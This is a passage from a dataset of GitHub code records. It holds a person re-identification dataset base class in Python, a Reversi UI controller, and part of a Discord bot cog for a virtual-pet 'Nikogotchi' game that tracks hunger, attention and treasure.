sections\n","repo_name":"samsface/devlogr","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":2442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"31458845491","text":"# encoding: utf-8\n\"\"\"\n@author:  sherlock\n@contact: sherlockliao01@gmail.com\n\"\"\"\n\nimport copy\nimport numpy as np\nimport os.path as osp\nimport tarfile\nimport zipfile\nimport torch\n# from .dataset_loader import ImageDataset_new\nfrom utils.iotools import mkdir_if_missing\nclass BaseDataset(object):\n    \"\"\"\n    Base class of reid dataset\n    \"\"\"\n\n    def get_imagedata_info(self, data):\n        pids, cams = [], []\n        for _, pid, camid in data:\n            pids += [pid]\n            cams += [camid]\n        pids = set(pids)\n        cams = set(cams)\n        num_pids = len(pids)\n        num_cams = len(cams)\n        num_imgs = len(data)\n        return num_pids, num_imgs, num_cams\n\n    def get_videodata_info(self, data, return_tracklet_stats=False):\n        pids, cams, tracklet_stats = [], [], []\n        for img_paths, pid, camid in data:\n            pids += [pid]\n            cams += [camid]\n            tracklet_stats += [len(img_paths)]\n        pids = set(pids)\n        cams = set(cams)\n        num_pids = len(pids)\n        num_cams = len(cams)\n        num_tracklets = len(data)\n        if return_tracklet_stats:\n            return num_pids, num_tracklets, num_cams, tracklet_stats\n        return num_pids, num_tracklets, num_cams\n\n    def print_dataset_statistics(self):\n        raise NotImplementedError\n\n\nclass BaseImageDataset(BaseDataset):\n    \"\"\"\n    Base class of image reid dataset\n    \"\"\"\n\n    def print_dataset_statistics(self, train, query, gallery):\n        num_train_pids, num_train_imgs, num_train_cams = self.get_imagedata_info(train)\n        num_query_pids, num_query_imgs, num_query_cams = self.get_imagedata_info(query)\n        num_gallery_pids, num_gallery_imgs, num_gallery_cams = self.get_imagedata_info(gallery)\n\n        print(\"Dataset statistics:\")\n        print(\"  ----------------------------------------\")\n        print(\"  subset   | # ids | # images | # cameras\")\n        print(\"  ----------------------------------------\")\n        print(\"  train    | {:5d} | {:8d} | {:9d}\".format(num_train_pids, num_train_imgs, num_train_cams))\n        print(\"  query    | {:5d} | {:8d} | {:9d}\".format(num_query_pids, num_query_imgs, num_query_cams))\n        print(\"  gallery  | {:5d} | {:8d} | {:9d}\".format(num_gallery_pids, num_gallery_imgs, num_gallery_cams))\n        print(\"  ----------------------------------------\")\n\n\nclass BaseVideoDataset(BaseDataset):\n    \"\"\"\n    Base class of video reid dataset\n    \"\"\"\n\n    def print_dataset_statistics(self, train, query, gallery):\n        num_train_pids, num_train_tracklets, num_train_cams, train_tracklet_stats = \\\n            self.get_videodata_info(train, return_tracklet_stats=True)\n\n        num_query_pids, num_query_tracklets, num_query_cams, query_tracklet_stats = \\\n            self.get_videodata_info(query, return_tracklet_stats=True)\n\n        num_gallery_pids, num_gallery_tracklets, num_gallery_cams, gallery_tracklet_stats = \\\n            self.get_videodata_info(gallery, return_tracklet_stats=True)\n\n        tracklet_stats = train_tracklet_stats + query_tracklet_stats + gallery_tracklet_stats\n        min_num = np.min(tracklet_stats)\n        max_num = np.max(tracklet_stats)\n        avg_num = np.mean(tracklet_stats)\n\n        print(\"Dataset statistics:\")\n        print(\"  -------------------------------------------\")\n        print(\"  subset   | # ids | # tracklets | # cameras\")\n        print(\"  -------------------------------------------\")\n        print(\"  train    | {:5d} | {:11d} | {:9d}\".format(num_train_pids, num_train_tracklets, num_train_cams))\n        print(\"  query    | {:5d} | {:11d} | {:9d}\".format(num_query_pids, num_query_tracklets, num_query_cams))\n        print(\"  gallery  | {:5d} | {:11d} | {:9d}\".format(num_gallery_pids, num_gallery_tracklets, num_gallery_cams))\n        print(\"  -------------------------------------------\")\n        print(\"  number of images per tracklet: {} ~ {}, average {:.2f}\".format(min_num, max_num, avg_num))\n        print(\"  -------------------------------------------\")\n\n\n# class Dataset_new(object):\n#     \"\"\"An abstract class representing a Dataset.\n#\n#     This is the base class for ``ImageDataset`` and ``VideoDataset``.\n#\n#     Args:\n#         train (list): contains tuples of (img_path(s), pid, camid).\n#         query (list): contains tuples of (img_path(s), pid, camid).\n#         gallery (list): contains tuples of (img_path(s), pid, camid).\n#         transform: transform function.\n#         mode (str): 'train', 'query' or 'gallery'.\n#         combineall (bool): combines train, query and gallery in a\n#             dataset for training.\n#         verbose (bool): show information.\n#     \"\"\"\n#     _junk_pids = [\n#     ] # contains useless person IDs, e.g. background, false detections\n#\n#     def __init__(\n#         self,\n#         train,\n#         query,\n#         gallery,\n#         transform=None,\n#         mode='train',\n#         combineall=False,\n#         verbose=True,\n#         **kwargs\n#     ):\n#         self.train = train\n#         self.query = query\n#         self.gallery = gallery\n#         self.transform = transform\n#         self.mode = mode\n#         self.combineall = combineall\n#         self.verbose = verbose\n#\n#         self.num_train_pids = self.get_num_pids(self.train)\n#         self.num_train_cams = self.get_num_cams(self.train)\n#\n#         if self.combineall:\n#             self.combine_all()\n#\n#         if self.mode == 'train':\n#             self.data = self.train\n#         elif self.mode == 'query':\n#             self.data = self.query\n#         elif self.mode == 'gallery':\n#             self.data = self.gallery\n#         else:\n#             raise ValueError(\n#                 'Invalid mode. Got {}, but expected to be '\n#                 'one of [train | query | gallery]'.format(self.mode)\n#             )\n#\n#         if self.verbose:\n#             self.show_summary()\n#\n#     def __getitem__(self, index):\n#         raise NotImplementedError\n#\n#     def __len__(self):\n#         return len(self.data)\n#\n#     def __add__(self, other):\n#         \"\"\"Adds two datasets together (only the train set).\"\"\"\n#         train = copy.deepcopy(self.train)\n#\n#         for img_path, pid, camid in other.train:\n#             pid += self.num_train_pids\n#             camid += self.num_train_cams\n#             train.append((img_path, pid, camid))\n#\n#         ###################################\n#         # Things to do beforehand:\n#         # 1. set verbose=False to avoid unnecessary print\n#         # 2. set combineall=False because combineall would have been applied\n#         #    if it was True for a specific dataset, setting it to True will\n#         #    create new IDs that should have been included\n#         ###################################\n#         if isinstance(train[0][0], str):\n#             return ImageDataset_new(\n#                 train,\n#                 self.query,\n#                 self.gallery,\n#                 transform=self.transform,\n#                 mode=self.mode,\n#                 combineall=False,\n#                 verbose=False\n#             )\n        # else:\n        #     return VideoDataset(\n        #         train,\n        #         self.query,\n        #         self.gallery,\n        #         transform=self.transform,\n        #         mode=self.mode,\n        #         combineall=False,\n        #         verbose=False,\n        #         seq_len=self.seq_len,\n        #         sample_method=self.sample_method\n        #     )\n\n    def __radd__(self, other):\n        \"\"\"Supports sum([dataset1, dataset2, dataset3]).\"\"\"\n        if other == 0:\n            return self\n        else:\n            return self.__add__(other)\n\n    def parse_data(self, data):\n        \"\"\"Parses data list and returns the number of person IDs\n        and the number of camera views.\n\n        Args:\n            data (list): contains tuples of (img_path(s), pid, camid)\n        \"\"\"\n        pids = set()\n        cams = set()\n        for _, pid, camid in data:\n            pids.add(pid)\n            cams.add(camid)\n        return len(pids), len(cams)\n\n    def get_num_pids(self, data):\n        \"\"\"Returns the number of training person identities.\"\"\"\n        return self.parse_data(data)[0]\n\n    def get_num_cams(self, data):\n        \"\"\"Returns the number of training cameras.\"\"\"\n        return self.parse_data(data)[1]\n\n    def show_summary(self):\n        \"\"\"Shows dataset statistics.\"\"\"\n        pass\n\n    def combine_all(self):\n        \"\"\"Combines train, query and gallery in a dataset for training.\"\"\"\n        combined = copy.deepcopy(self.train)\n\n        # relabel pids in gallery (query shares the same scope)\n        g_pids = set()\n        for _, pid, _ in self.gallery:\n            if pid in self._junk_pids:\n                continue\n            g_pids.add(pid)\n        pid2label = {pid: i for i, pid in enumerate(g_pids)}\n\n        def _combine_data(data):\n            for img_path, pid, camid in data:\n                if pid in self._junk_pids:\n                    continue\n                pid = pid2label[pid] + self.num_train_pids\n                combined.append((img_path, pid, camid))\n\n        _combine_data(self.query)\n        _combine_data(self.gallery)\n\n        self.train = combined\n        self.num_train_pids = self.get_num_pids(self.train)\n\n    def download_dataset(self, dataset_dir, dataset_url):\n        \"\"\"Downloads and extracts dataset.\n\n        Args:\n            dataset_dir (str): dataset directory.\n            dataset_url (str): url to download dataset.\n        \"\"\"\n        if osp.exists(dataset_dir):\n            return\n\n        if dataset_url is None:\n            raise RuntimeError(\n                '{} dataset needs to be manually '\n                'prepared, please follow the '\n                'document to prepare this dataset'.format(\n                    self.__class__.__name__\n                )\n            )\n\n        print('Creating directory \"{}\"'.format(dataset_dir))\n        mkdir_if_missing(dataset_dir)\n        fpath = osp.join(dataset_dir, osp.basename(dataset_url))\n\n        print(\n            'Downloading {} dataset to \"{}\"'.format(\n                self.__class__.__name__, dataset_dir\n            )\n        )\n        # download_url(dataset_url, fpath)\n\n        print('Extracting \"{}\"'.format(fpath))\n        try:\n            tar = tarfile.open(fpath)\n            tar.extractall(path=dataset_dir)\n            tar.close()\n        except:\n            zip_ref = zipfile.ZipFile(fpath, 'r')\n            zip_ref.extractall(dataset_dir)\n            zip_ref.close()\n\n        print('{} dataset is ready'.format(self.__class__.__name__))\n\n    def check_before_run(self, required_files):\n        \"\"\"Checks if required files exist before going deeper.\n\n        Args:\n            required_files (str or list): string file name(s).\n        \"\"\"\n        if isinstance(required_files, str):\n            required_files = [required_files]\n\n        for fpath in required_files:\n            if not osp.exists(fpath):\n                raise RuntimeError('\"{}\" is not found'.format(fpath))\n\n    def __repr__(self):\n        num_train_pids, num_train_cams = self.parse_data(self.train)\n        num_query_pids, num_query_cams = self.parse_data(self.query)\n        num_gallery_pids, num_gallery_cams = self.parse_data(self.gallery)\n\n        msg = '  ----------------------------------------\\n' \\\n              '  subset   | # ids | # items | # cameras\\n' \\\n              '  ----------------------------------------\\n' \\\n              '  train    | {:5d} | {:7d} | {:9d}\\n' \\\n              '  query    | {:5d} | {:7d} | {:9d}\\n' \\\n              '  gallery  | {:5d} | {:7d} | {:9d}\\n' \\\n              '  ----------------------------------------\\n' \\\n              '  items: images/tracklets for image/video dataset\\n'.format(\n              num_train_pids, len(self.train), num_train_cams,\n              num_query_pids, len(self.query), num_query_cams,\n              num_gallery_pids, len(self.gallery), num_gallery_cams\n              )\n\n        return msg\n\n","repo_name":"PangJian123/CAC-CSP","sub_path":"data/datasets/bases.py","file_name":"bases.py","file_ext":"py","file_size_in_byte":11973,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"41458447047","text":"from typing import Callable\n\nfrom client.controllers.base_page_controller import BasePageController\nfrom client.views.home_button_page_view import HomeButtonPageView\n\n\nclass HomeButtonPageController(BasePageController):\n    def __init__(\n        self,\n        go_home_callback: Callable[[], None],\n    ) -> None:\n        \"\"\"\n        Specific type of page controller with a home button already handled.\n        Many pages could have a home button, so this removes duplicate code.\n\n        :param go_home_callback: Callback to call when going to the home screen\n        \"\"\"\n        super().__init__()\n        self._task_execute_dict[\"home_button\"] = self.__execute_task_home_button\n        self._go_home_callback: Callable[[], None] = go_home_callback\n\n    def handle_home_button(self) -> None:\n        \"\"\"\n        Handles home button action from the user by queueing task\n        \"\"\"\n        self.queue(task_name=\"home_button\")\n\n    def __execute_task_home_button(self) -> None:\n        \"\"\"\n        Takes action on the home button by notifying callback\n        \"\"\"\n        self._go_home_callback()\n","repo_name":"LucasEby/Reversi-REV-","sub_path":"client/controllers/home_button_page_controller.py","file_name":"home_button_page_controller.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"15031421762","text":"import json\nimport random\nfrom datetime import datetime\n\nfrom dateutil import relativedelta\nfrom interactions import *\nfrom interactions.api.events import Component\n\nimport Data.capsule_characters as chars\nimport database\nfrom Utilities.bot_icons import loading\nfrom Utilities.fancysend import *\n\n\nclass Nikogotchi:\n    def __init__(self, name: str, immortal: bool, rarity: int, status: int, emoji: int, health: float, hunger: float,\n                 attention: float, cleanliness: float, pancake_dialogue: list[str], pet_dialogue: list[str],\n                 cleaned_dialogue: list[str], last_interacted: datetime):\n        self.name = name\n        self.immortal = immortal\n        self.rarity = rarity\n        self.status = status\n        self.emoji = emoji\n        self.health = health\n        self.hunger = hunger\n        self.attention = attention\n        self.cleanliness = cleanliness\n        self.pancake_dialogue = pancake_dialogue\n        self.pet_dialogue = pet_dialogue\n        self.cleaned_dialogue = cleaned_dialogue\n        self.last_interacted = last_interacted\n\n\nclass Command(Extension):\n\n    async def get_nikogotchi(self, uid: int):\n        data = database.fetch('nikogotchi_data', 'data', uid)\n\n        if data is None:\n            return None\n\n        return Nikogotchi(\n            name=data['name'],\n            immortal=data['immortal'],\n            rarity=data['rarity'],\n            status=data['status'],\n            emoji=data['emoji'],\n            health=data['health'],\n            hunger=data['hunger'],\n            attention=data['attention'],\n            cleanliness=data['cleanliness'],\n            pancake_dialogue=data['pancake_dialogue'],\n            pet_dialogue=data['pet_dialogue'],\n            cleaned_dialogue=data['cleaned_dialogue'],\n            last_interacted=datetime.strptime(data['last_interacted'], '%Y-%m-%d %H:%M:%S'),\n        )\n\n    async def save_nikogotchi(self, nikogotchi: Nikogotchi, uid: int):\n        data = json.dumps({\n            'name': nikogotchi.name,\n            'immortal': nikogotchi.immortal,\n            'rarity': nikogotchi.rarity,\n            'status': nikogotchi.status,\n            'emoji': nikogotchi.emoji,\n            'health': nikogotchi.health,\n            'hunger': nikogotchi.hunger,\n            'attention': nikogotchi.attention,\n            'cleanliness': nikogotchi.cleanliness,\n            'pancake_dialogue': nikogotchi.pancake_dialogue,\n            'pet_dialogue': nikogotchi.pet_dialogue,\n            'cleaned_dialogue': nikogotchi.cleaned_dialogue,\n            'last_interacted': nikogotchi.last_interacted.strftime('%Y-%m-%d %H:%M:%S'),\n        })\n\n        database.update('nikogotchi_data', 'data', uid, data)\n\n    buttons = [\n        Button(\n            style=ButtonStyle.SUCCESS,\n            label='Feed',\n            custom_id=f'feed'\n        ),\n        Button(\n            style=ButtonStyle.SUCCESS,\n            label='Pet',\n            custom_id=f'pet'\n        ),\n        Button(\n            style=ButtonStyle.SUCCESS,\n            label='Clean',\n            custom_id=f'clean'\n        ),\n        Button(\n            style=ButtonStyle.PRIMARY,\n            label='Find Treasure',\n            custom_id=f'find_treasure'\n        ),\n        Button(\n            style=ButtonStyle.GREY,\n            emoji=PartialEmoji(id=1147696088250335303),\n            custom_id=f'refresh'\n        )\n    ]\n\n    async def get_nikogotchi_age(self, uid: int):\n        date_hatched_str = database.fetch('nikogotchi_data', 'hatched', uid)\n        date_hatched = datetime.strptime(date_hatched_str, '%Y-%m-%d %H:%M:%S')\n\n        return relativedelta.relativedelta(datetime.now(), date_hatched)\n\n    async def get_main_nikogotchi_embed(self, uid: int, age: relativedelta.relativedelta, dialogue: str,\n                                        found_treasure: list[int], n: Nikogotchi):\n        progress_bar = {\n            'empty': {\n                'start': '<:thebeginningofthesong:1117957176724557824>',\n                'middle': '<:themiddleofthesong:1117957179463438387>',\n                'end': '<:theendofthesong:1117957159938961598>'\n            },\n            'filled': {\n                'start': '<:thebeginningofthesong:1117957177987051530>',\n                'middle': '<:themiddleofthesong:1117957181220864120>',\n                'end': '<:theendofthesong:1117957174015041679>'\n            }\n        }\n\n        progress_bar_length = 5\n\n        health_value = round((n.health / 50) * progress_bar_length)\n        hunger_value = round((n.hunger / 50) * progress_bar_length)\n        attention_value = round((n.attention / 50) * progress_bar_length)\n        cleanliness_value = round((n.cleanliness / 50) * progress_bar_length)\n\n        health_progress_bar = ''\n        hunger_progress_bar = ''\n        attention_progress_bar = ''\n        cleanliness_progress_bar = ''\n\n        values = [health_value, hunger_value, attention_value, cleanliness_value]\n\n        for index, value in enumerate(values):\n            progress_bar_l = []\n            for i in range(progress_bar_length):\n                bar_section = 'middle'\n                if i == 0:\n                    bar_section = 'start'\n                elif i == progress_bar_length - 1:\n                    bar_section = 'end'\n\n                if i < value:\n                    bar_fill = progress_bar['filled'][bar_section]\n                else:\n                    bar_fill = progress_bar['empty'][bar_section]\n\n                progress_bar_l.append(bar_fill)\n\n            progress = ''.join(progress_bar_l)\n\n            if index == 0:\n                health_progress_bar = progress\n            elif index == 1:\n                hunger_progress_bar = progress\n            elif index == 2:\n                attention_progress_bar = progress\n            elif index == 3:\n                cleanliness_progress_bar = progress\n\n        embed = Embed(\n            title=n.name,\n            color=0x8b00cc\n        )\n\n        nikogotchi_status = 'Your Nikogotchi seems to be doing okay.'\n\n        if n.attention < 20:\n            nikogotchi_status = f'🤨 {n.name} wants to be pet!'\n\n        if n.cleanliness < 20:\n            nikogotchi_status = f'🛀 {n.name} wants to be cleaned!'\n\n        if n.hunger < 20:\n            nikogotchi_status = f'🥞 {n.name} is feeling hungry...'\n\n        if n.status == 3:\n            nikogotchi_status = f'{n.name} is currently finding treasures for you!'\n\n        treasure_found = ''\n\n        if len(found_treasure) > 0:\n\n            treasures = ''\n            looked_over_treasures = []\n\n            get_treasure = database.get_treasures()\n\n            for index in found_treasure:\n\n                if index in looked_over_treasures:\n                    continue\n\n                treasure = get_treasure[index]\n\n                treasures += f'<:any:{treasure[\"emoji\"]}> {treasure[\"name\"]} x{found_treasure.count(index)}\\n'\n                looked_over_treasures.append(index)\n\n            treasure_found = f'''\n            {n.name} found some treasures!\\n\\n{treasures}\n            '''\n\n        if n.health < 20:\n            nikogotchi_status = f'🚨 {n.name} is at low health! Use Golden Pancakes to restore their health! 🚨'\n\n        embed.set_author(name=nikogotchi_status)\n\n        description = f'''\n        {treasure_found}\\n\n        ��  {health_progress_bar} ({int(n.health)} / 50)\\n\\n�  {hunger_progress_bar} ({n.hunger} / 50)\\n🫂  {attention_progress_bar} ({n.attention} / 50)\\n🧽  {cleanliness_progress_bar} ({n.cleanliness} / 50)\\n\\n�  ***{age.years}*** *years*, ***{age.months}*** *months*, ***{age.days}*** *days*\n        '''\n\n        embed.description = description\n\n        embed.set_image(url=f'https://cdn.discordapp.com/emojis/{n.emoji}.png')\n        embed.set_footer(text=dialogue)\n\n        return embed\n\n    @slash_command(description=\"All things about your Nikogotchi!\")\n    async def nikogotchi(self, ctx: SlashContext):\n        pass\n\n    \n    @nikogotchi.subcommand(sub_cmd_description=\"Check out your Nikogotchi!\")\n    async def check(self, ctx: SlashContext):\n\n        uid = ctx.author.id\n\n        nikogotchi = await self.get_nikogotchi(uid)\n\n        nikogotchi: Nikogotchi\n\n        if nikogotchi is not None:\n            await fancy_message(ctx, f'[ Loading Nikogotchi... {loading()} ]', ephemeral=True)\n\n        else:\n            is_available = database.fetch('nikogotchi_data', 'nikogotchi_available', uid)\n            rarity = database.fetch('nikogotchi_data', 'rarity', uid)\n\n            if is_available == 0:\n                return await fancy_message(ctx,\n                                           \"[ You don't have a Nikogotchi! You can buy a capsule from the shop to unlock a random one! ]\",\n                                           ephemeral=True, color=0xff0000)\n\n            viable_nikogotchi = []\n\n            nikogotchi_list = chars.get_characters()\n\n            for character in nikogotchi_list:\n                if rarity == character.rarity.value:\n                    viable_nikogotchi.append(character)\n\n            selected_nikogotchi: chars.Nikogotchi = random.choice(viable_nikogotchi)\n\n            owned_nikogotchi = database.fetch('user_data', 'unlocked_nikogotchis', ctx.author.id)\n            owned_nikogotchi.append(nikogotchi_list.index(selected_nikogotchi))\n\n            database.update('nikogotchi_data', 'data', ctx.author.id, json.dumps({\n                'name': selected_nikogotchi.name,\n                'emoji': selected_nikogotchi.emoji,\n                'rarity': selected_nikogotchi.rarity.value,\n                'status': 2,\n                'immortal': False,\n                'health': 50,\n                'hunger': 50,\n                'attention': 50,\n                'cleanliness': 50,\n                'pancake_dialogue': selected_nikogotchi.pancake_dialogue,\n                'pet_dialogue': selected_nikogotchi.pet_dialogue,\n                'cleaned_dialogue': selected_nikogotchi.cleaned_dialogue,\n                'last_interacted': datetime.strftime(datetime.now(), '%Y-%m-%d %H:%M:%S')\n            }))\n\n            nikogotchi = await self.get_nikogotchi(ctx.author.id)\n\n            hatched_embed = Embed(\n                title=f'You found {nikogotchi.name}!',\n                color=0x8b00cc,\n                description='Do you want to give them a new name?'\n            )\n\n            hatched_embed.set_footer(text='Dismiss this message and then rerun the command to keep the current name.')\n\n            hatched_embed.set_image(url=f'https://cdn.discordapp.com/emojis/{nikogotchi.emoji}.png')\n\n            buttons = [\n                Button(style=ButtonStyle.GREEN, label='Yes', custom_id=f'yes {ctx.author.id}'),\n                Button(style=ButtonStyle.RED, label='No', custom_id=f'no {ctx.author.id}')\n            ]\n\n            database.update('nikogotchi_data', 'nikogotchi_available', uid, is_available - 1)\n            database.update('nikogotchi_data', 'hatched', uid, datetime.strftime(datetime.now(), '%Y-%m-%d %H:%M:%S'))\n\n            await ctx.send(embed=hatched_embed, components=buttons, ephemeral=True)\n\n            button: Component = await self.bot.wait_for_component(components=buttons)\n            button_ctx = button.ctx\n\n            custom_id = button_ctx.custom_id\n\n            if custom_id == f'yes {ctx.author.id}':\n                modal = Modal(\n                    ShortText(\n                        custom_id='name',\n                        value=nikogotchi.name,\n                        label='Name'\n                    ),\n                    custom_id='name',\n                    title='Give your Nikogotchi a name!',\n                )\n\n                await button_ctx.send_modal(modal)\n\n                modal_ctx: ModalContext = await self.bot.wait_for_modal(modal)\n\n                await modal_ctx.defer(edit_origin=True)\n\n                nikogotchi.name = modal_ctx.kwargs['name']\n            else:\n                await button_ctx.defer(edit_origin=True)\n\n            await self.save_nikogotchi(nikogotchi, ctx.author.id)\n\n        await self.load_nikogotchi(nikogotchi, ctx, uid)\n\n    async def load_nikogotchi(self, nikogotchi: Nikogotchi, ctx: SlashContext, uid: int):\n\n        age = await self.get_nikogotchi_age(int(ctx.author.id))\n\n        last_interacted = nikogotchi.last_interacted\n\n        # Get the current datetime\n        current_time = datetime.now()\n\n        # Calculate the time difference in hours\n        time_difference = (current_time - last_interacted).total_seconds() / 7200\n\n        nikogotchi.last_interacted = current_time\n\n        modifier = 1\n\n        if nikogotchi.status == 3:\n            modifier = 2.5\n\n        nikogotchi.hunger = int(max(0, nikogotchi.hunger - time_difference * modifier))\n        nikogotchi.attention = int(max(0, nikogotchi.attention - time_difference * 1.25 * modifier))\n        nikogotchi.cleanliness = int(max(0, nikogotchi.cleanliness - time_difference * 1.05 * modifier))\n\n        if nikogotchi.immortal:\n            nikogotchi.hunger = 9999\n            nikogotchi.attention = 9999\n            nikogotchi.cleanliness = 9999\n\n        if nikogotchi.hunger <= 0 or nikogotchi.attention <= 0 or nikogotchi.cleanliness <= 0:\n            nikogotchi.health = nikogotchi.health - time_difference\n\n        if nikogotchi.health <= 0:\n            embed = Embed(\n                title=f'{nikogotchi.name} Passed away...',\n                color=0x696969,\n                description=f'''\n                {nikogotchi.name} lived a full life of {age.years} years, {age.months} months, and {age.days} days.\n                Hours since last taken care of: **{int(time_difference)} Hours**\n\n                Nikogotchis rely on your love and attention, so keep trying to give them the best care possible!\n                '''\n            )\n\n            buttons = []\n            database.update('nikogotchi_data', 'data', ctx.author.id, None)\n        else:\n            embed = await self.get_main_nikogotchi_embed(uid, age, '...', [], nikogotchi)\n\n            self.buttons[0].disabled = False\n            self.buttons[1].disabled = False\n            self.buttons[2].disabled = False\n\n            self.buttons[3].label = 'Find Treasure'\n            self.buttons[3].custom_id = 'find_treasure'\n\n            buttons = self.buttons\n\n            embed.set_image(url=f'https://cdn.discordapp.com/emojis/{nikogotchi.emoji}.png')\n\n            if nikogotchi.status == 3:\n\n                treasures_found = []\n\n                for i in range(int(time_difference)):\n                    if i % 4 == 0:\n                        value = random.randint(0, 1000)\n                        treasure = -1\n                        if value > 0:\n                            treasure = random.choice([0, 1, 2])\n                        if value > 600:\n                            treasure = random.choice([3, 4, 5])\n                        if value > 900:\n                            treasure = random.choice([6, 7, 8])\n\n                        treasures_found.append(treasure)\n\n                        user_treasures = database.fetch('nikogotchi_data', 'treasure', uid)\n                        user_treasures[treasure] += 1\n                        database.update('nikogotchi_data', 'treasure', uid, user_treasures)\n\n                self.buttons[0].disabled = True\n                self.buttons[1].disabled = True\n                self.buttons[2].disabled = True\n\n                self.buttons[3].label = 'Call Nikogotchi Back'\n                self.buttons[3].custom_id = 'call_back'\n\n                buttons = self.buttons\n\n                embed = await self.get_main_nikogotchi_embed(uid, age, '...', treasures_found, nikogotchi)\n                embed.set_image(url='')\n\n        await self.save_nikogotchi(nikogotchi, uid)\n        await ctx.edit(embed=embed, components=buttons)\n\n    @component_callback('feed', 'pet', 'clean', 'find_treasure', 'refresh', 'call_back')\n    async def nikogotchi_interaction(self, ctx: ComponentContext):\n\n        await ctx.defer(edit_origin=True)\n\n        pancakes = database.fetch('nikogotchi_data', 'pancakes', ctx.author.id)\n        golden_pancakes = database.fetch('nikogotchi_data', 'golden_pancakes', ctx.author.id)\n        glitched_pancakes = database.fetch('nikogotchi_data', 'glitched_pancakes', ctx.author.id)\n\n        nikogotchi = await self.get_nikogotchi(ctx.author.id)\n\n        custom_id = ctx.custom_id\n\n        nikogotchi.last_interacted = datetime.now()\n\n        dialogue = '...'\n\n        buttons = self.buttons\n\n        age = await self.get_nikogotchi_age(int(ctx.author.id))\n\n        if nikogotchi.status == 2:\n            if custom_id == 'feed':\n                if pancakes <= 0:\n                    dialogue = 'You don\\'t have any pancakes! Buy some from the shop to feed your Nikogotchi!'\n                else:\n                    buttons = await self.feed_nikogotchi(pancakes, golden_pancakes, glitched_pancakes, ctx)\n\n            if custom_id == 'pet':\n                # Adjust hunger, attention, and cleanliness\n                attention_increase = 20\n                nikogotchi.attention = min(50, nikogotchi.attention + attention_increase)\n\n                dialogue = random.choice(nikogotchi.pet_dialogue)\n\n            if custom_id == 'clean':\n                cleanliness_increase = 30\n                nikogotchi.cleanliness = min(50, nikogotchi.cleanliness + cleanliness_increase)\n\n                dialogue = random.choice(nikogotchi.cleaned_dialogue)\n\n            if custom_id == 'find_treasure':\n                dialogue = 'Your Nikogotchi is now finding treasure! Just be aware that their stats will decrease faster than normal, so make sure to call them back when they\\'re done!'\n                nikogotchi.status = 3\n\n        if custom_id == 'call_back':\n            nikogotchi.status = 2\n\n        embed = await self.get_main_nikogotchi_embed(ctx.author.id, age, dialogue, [], nikogotchi)\n\n        if not custom_id == 'feed':\n            if nikogotchi.status == 2:\n                self.buttons[0].disabled = False\n                self.buttons[1].disabled = False\n                self.buttons[2].disabled = False\n\n                self.buttons[3].label = 'Find Treasure'\n                self.buttons[3].custom_id = 'find_treasure'\n            else:\n                self.buttons[0].disabled = True\n                self.buttons[1].disabled = True\n                self.buttons[2].disabled = True\n\n                self.buttons[3].label = 'Call Back'\n                self.buttons[3].custom_id = 'call_back'\n\n        embed.set_image(url=f'https://cdn.discordapp.com/emojis/{nikogotchi.emoji}.png')\n\n        if nikogotchi.status == 3:\n\n            treasures_found = []\n\n            for i in range(int()):\n                value = random.randint(0, 1000)\n                treasure = -1\n                if value > 0:\n                    treasure = random.choice([0, 1, 2])\n                if value > 600:\n                    treasure = random.choice([3, 4, 5])\n                if value > 900:\n                    treasure = random.choice([6, 7, 8])\n\n                treasures_found.append(treasure)\n\n                user_treasures = database.fetch('user_data', 'treasures', ctx.author.id)\n                user_treasures[treasure] += 1\n                database.update('user_data', 'treasures', ctx.author.id, user_treasures)\n\n            self.buttons[0].disabled = True\n            self.buttons[1].disabled = True\n            self.buttons[2].disabled = True\n\n            self.buttons[3].label = 'Call Back'\n            self.buttons[3].custom_id = 'call_back'\n\n            buttons = self.buttons\n\n            embed = await self.get_main_nikogotchi_embed(ctx.author.id, age, dialogue, treasures_found, nikogotchi)\n            embed.set_image(url='')\n\n        await self.save_nikogotchi(nikogotchi, ctx.author.id)\n        await ctx.edit_origin(embed=embed, components=buttons)\n\n    async def feed_nikogotchi(self, pancakes, golden_pancakes, glitched_pancakes, ctx):\n        food_options = []\n\n        nikogotchi = await self.get_nikogotchi(ctx.author.id)\n\n        if glitched_pancakes > 0:\n            food_options.append(\n                StringSelectOption(\n                    label=f'Feed ??? (x{glitched_pancakes})',\n                    emoji=PartialEmoji(1152356972423819436),\n                    value=f'pancake_glitched'\n                )\n            )\n\n        if golden_pancakes > 0:\n            food_options.append(\n                StringSelectOption(\n                    label=f'Feed Golden Pancake (x{golden_pancakes})',\n                    emoji=PartialEmoji(1152330988022681821),\n                    value=f'golden_pancake'\n                )\n            )\n\n        if pancakes > 0:\n            food_options.append(\n                StringSelectOption(\n                    label=f'Feed Pancake (x{pancakes})',\n                    emoji=PartialEmoji(1147281411854839829),\n                    value=f'pancake'\n                )\n            )\n\n        select = StringSelectMenu(\n            *food_options,\n            custom_id='feed_food',\n            placeholder=f'What do you want to feed {nikogotchi.name}?'\n        )\n\n        return spread_to_rows(select, Button(label='Cancel', style=ButtonStyle.RED, custom_id='refresh'))\n\n    @component_callback('feed_food')\n    async def feed_food(self, ctx: ComponentContext):\n\n        await ctx.defer(edit_origin=True)\n\n        nikogotchi = await self.get_nikogotchi(ctx.author.id)\n        value = ctx.values[0]\n\n        golden_pancakes = database.fetch('nikogotchi_data', 'golden_pancakes', ctx.author.id)\n        pancakes = database.fetch('nikogotchi_data', 'pancakes', ctx.author.id)\n        glitched_pancakes = database.fetch('nikogotchi_data', 'glitched_pancakes', ctx.author.id)\n\n        hunger_increase = 0\n        health_increase = 0\n\n        if value == 'golden_pancake':\n            if golden_pancakes <= 0:\n                dialogue = 'You don\\'t have any golden pancakes! Buy some from the shop to feed your Nikogotchi!'\n            else:\n                hunger_increase = 50\n                health_increase = 25\n\n                golden_pancakes = database.update('nikogotchi_data', 'golden_pancakes', ctx.author.id,\n                                                  golden_pancakes - 1)\n                dialogue = random.choice(nikogotchi.pancake_dialogue)\n        elif value == 'pancake_glitched':\n            if glitched_pancakes <= 0:\n                dialogue = 'You don\\'t have any �. You don\\'t have any �. You don\\'t have any �. You don\\'t have any �. You don\\'t have any �. You don\\'t have any �. Do you?'\n            else:\n                hunger_increase = 9999\n                health_increase = 9999\n                glitched_pancakes = database.update('nikogotchi_data', 